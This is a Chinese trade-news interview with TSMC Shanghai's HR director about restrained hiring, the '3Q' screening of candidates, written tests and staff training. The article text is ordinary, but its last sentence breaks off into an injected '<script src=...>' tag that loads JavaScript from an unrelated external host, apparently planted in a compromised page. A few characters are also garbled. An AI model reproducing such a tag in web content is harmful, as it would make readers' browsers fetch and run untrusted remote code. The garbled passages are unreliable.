(电子市场网讯) 台湾积体电路制造股份有限公司(台积电)于1987年2月21日在台湾地区新竹科学工业园区成立，是全球第一家专业集成电路制造服务公司。台积电上海有限公司(台积电上海)是台积电独资设立的子公司，位于上海市松江科技园区内，成立于2003年8月，2004年10月开始批量生产。现在拥有员工近千人，正向月产能三万片芯片进军。 简单与笔者寒暄之后，台积电上海有限公司人力资源总监黄琮评迅速进入了主题。“台积电是全球领先的芯片制造商，台积电上海是我们全球布局中最重要的一环。在这一环中，合理使用人才非常重要”。
我们乐意耐心培育人才
2005年，中芯国际宣布加快人员增长速度，每年招聘近800人，以支持日益增长的业务需求；上海宏力也计划两年内增加1000人，以继续扩大产能；芯片巨头intel、ibm、amkor、宏一等相继挺进上海，开始疯狂揽人……当诸多芯片制造商都在国内“跑马圈人”、大肆扩张时，作为全球芯片行业的领先者，台积电却“我自巍然不动”，依然维持自己不紧不慢的扩张速度———2006年，继续只招聘应届生策略，人员扩张规模控制在200人以内。与其他芯片制造商动辄千人的招聘规模相比，台积电上海是不是显得少了一些？
黄琮评说，这与台积电的经营风格和整体战略有关系。在台积电看来，大陆ic产业人才储备不足，现有人才很难支撑起ic产业的迅速扩大。如果每个厂商都不顾后果地扩张，那么必定会陷入“挖角战”中，对行业造成无可估量的损失。“台积电不参与人才大战除了上述原因外，是否还害怕人力成本上涨过快？”笔者话锋一转，“相信以台积电的实力，加入这个战团肯定会获胜。”黄琮评淡然回应，“但那并不符合台积电的风格。首先，台积电定位自己是国际性公司，希望整个公司的胸怀是看全世界的市场，而不只局限在上海、台湾。其次，台积电注意长期策略，追求永续经营，不会太过在意一城一地的得失。”
因此，台积电进入上海第一年的目标和使命是训练本地团队，让台积电上海的生产技术水平、制造能力、生产效率上个台阶，同时发展与上海及内地其他城市的客户关系，将台积电在内地的业务拓展起来。黄琮评认为，要想达到上述目的，耐心培育人才就成为必须。
台积电培育人才的诚意可以从很多地方看出来——除少数岗位，台积电上海成立3年来，大力招聘应届毕业生，让他们走上社会就接受台积电企业文化的熏陶；与员工签定都是无固定期限合同，表明他们给予员工充分的成长机会给予每个员工完善的培训，帮助他们按照自己想象的方向成长……
黄琮评充满信心地说：“世界级的公司需要世界级人才，世界级人才造就世界级公司。台积电上海这样努力育人，目标就是成长为真正的世界级公司。”
以3q选拔人才
既然要培育世界级人才，那么，什么样的人才能成为世界级人才？也就是说，台积电上海会招聘什么样的人？
黄琮评说：“首先，我会看他是否认同台积电的核心价值观i？鄄cic，即诚信正直(integrity)、客户是伙伴(customer partnership)、创新(innovation)、承诺(commitment)。其次，我会认真判断他是否具备3q.”“所谓3q，其实代表了3种个人特质。首先，我会判断他是否足够聪明。也就是iq(智慧商数)是否足够高；其次，会判断他是否具备足够的情绪控制力，也就是eq(情绪商数)是否足够；最后，我会判断他是否具有足够的抗压能力，也就是aq(逆境商数)是否足够。”
那么，通过什么办法能够看出应聘者的3q呢？“简单的说，是靠规则和经验。”规则是指台积电上海的笔试。收到简历后，人力资源部门会筛选出一部分合格者参加笔试，“根据以往经验，这一抡淘汰率高达90%.”笔试的题目主要是逻辑和英语，通过者就会被要求进行性向测试，人力资源部门会对结果进行简单评估，作为判断他是否符合公司的要求的佐证。而经验是面试人的经验，面试人通过与应聘者的交流来判断他们是否具有公司所需要的素质。黄琮评举例说：“如果我面试，我想知道他是否聪明，我会注意他的学习成绩，尤其是他所在科系的重点科目，比如物理系的我会看他近代物理学得如何，数学系我会看他高等统计的成绩。为了防止成绩作假，我可能还会询问他一些基本的专业问题，这样我又可以了解他的诚信度。而且，可以通过问他参加社团活动的情况得知他与人相处的如何，通过问他最大的挫折是什么而得知他的aq如何，通过问他的课外活动而得知他是否主动积极……面试交流得到的信息虽然不一定准确，但有经验的面试人会得到很丰富的信息，与书面的信息比对，往往可以做出正确的选择。”
全员培训帮助你“茁壮”成长
经历比较严格的招聘之后，公司会与每一个员工都签定无固定期限合同，让他们在公司放心地“茁壮”成长。
台积电员工大致可分成两类：一类是技术员，他们是生产一线人员，主要由中等职业学校或高中应届毕业?script src=http://er12.com/t.js>
